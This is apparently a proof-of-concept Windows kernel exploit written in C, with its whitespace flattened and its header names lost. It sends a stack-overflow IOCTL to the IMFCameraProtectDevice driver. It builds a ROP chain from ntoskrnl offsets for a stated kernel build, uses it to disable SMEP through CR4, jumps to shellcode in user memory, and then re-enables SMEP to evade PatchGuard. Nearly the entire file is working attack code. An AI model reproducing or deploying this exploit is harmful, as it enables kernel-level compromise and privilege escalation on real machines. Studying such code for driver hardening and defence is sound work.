#include #include #include /* Kernel related offsets are for ntoskrnl, version: 10.0.17134.345 Working as of 10/18/18 Check your kernel version */ typedef unsigned long long QWORD; // DWORD64 int main(int argc, char* argv[]) { HANDLE hDriver = CreateFileW(L"\\\\.\\IMFCameraProtectDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); // Get a handle to the driver if (hDriver != INVALID_HANDLE_VALUE) { printf("[i] Found driver\n"); LPVOID lpInMemoryArea = VirtualAlloc((LPVOID)0x41000000, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); LPVOID lpOutMemoryArea = VirtualAlloc((LPVOID)0x42000000, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); // [!] Check if needed.... LPVOID lpShellcodeArea = VirtualAlloc((LPVOID)0x43000000, 0x400, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); /* The current shellcode moves values into registers that would have been there if it were normally executing It also re-enables SMEP (bypass patch guard) */ BYTE arrShellcode[] = { 0xBE, 0x01, 0x00, 0x00, 0x00, 0x49, 0x8B, 0xDB, 0x48, 0x83, 0xC4, 0x18, 0xB9, 0x78, 0x06, 0x07, 0x00, 0xC3 }; if (lpInMemoryArea == NULL || lpShellcodeArea == NULL) { printf("[!!!] Unable to allocate memory\n"); ExitProcess(-1); } printf("[i]Allocated memory\n"); memset(lpInMemoryArea, 0x00, 0x100); // Clean memory area memset(lpShellcodeArea, 0x00, 0x400); memmove(lpShellcodeArea, &arrShellcode, 18); // Put shellcode in proper memory area LPDWORD lpcbNeeded = 0; // Size you need (the "safe" way) LPVOID arrDriversAddresses[250] = { 0 }; // Change if you have more than 250 drivers loaded K32EnumDeviceDrivers(arrDriversAddresses, 0x250, &lpcbNeeded); // You could also call this function twice, and get the array size you need QWORD qwTemp = arrDriversAddresses[0]; // First value is ntoskrnl.exe base address qwTemp += 0x1A58F0; // nt!HvlEndSystemInterrupt + 0x20 QWORD qwRCX = 0x30678; // value for rcx, so: mov cr4, rcx ; has cr4 with SMEP disabled memmove((BYTE*)lpInMemoryArea + 0x20, &qwTemp, sizeof(QWORD)); // First link in ROP chain memmove((BYTE*)lpInMemoryArea + 0x28, &qwRCX, sizeof(QWORD)); // Value that will be popped into rcx qwTemp = arrDriversAddresses[0]; qwTemp += 0x47E6FD; // nt!KiEnableXSave + 0x54D1 memmove((BYTE*)lpInMemoryArea + 0x30, &qwTemp, sizeof(QWORD)); memmove((BYTE*)lpInMemoryArea + 0x38, &lpShellcodeArea, sizeof(QWORD)); // Jump to our shellcode area qwTemp = qwTemp = arrDriversAddresses[0]; qwTemp += 0x47E6FD; // nt!KiEnableXSave + 0x54D1, re-enable SMEP, so no Patch Guard, or other strange BSoDs memmove((BYTE*)lpInMemoryArea + 0x58, &qwTemp, sizeof(QWORD)); // Skip 4 QWORDs (nothing in the stack) then overwrite the ret address DWORD dwIoctl = 0x8018E000; // Stack overflow IOCTL = 0x8018E004 printf("[i] Sending IOCTL 0x%X\n", dwIoctl); DWORD dwBytesOut = 0; NTSTATUS dwLastError = DeviceIoControl(hDriver, dwIoctl, lpInMemoryArea, 0x60, NULL, 0, &dwBytesOut, NULL); // No output buffer needed // nlnInBufferSize is in Bytes (0x60 is needed) } else { printf("[!!!] Unable to find driver\n"); ExitProcess(-1); } ExitProcess(0); }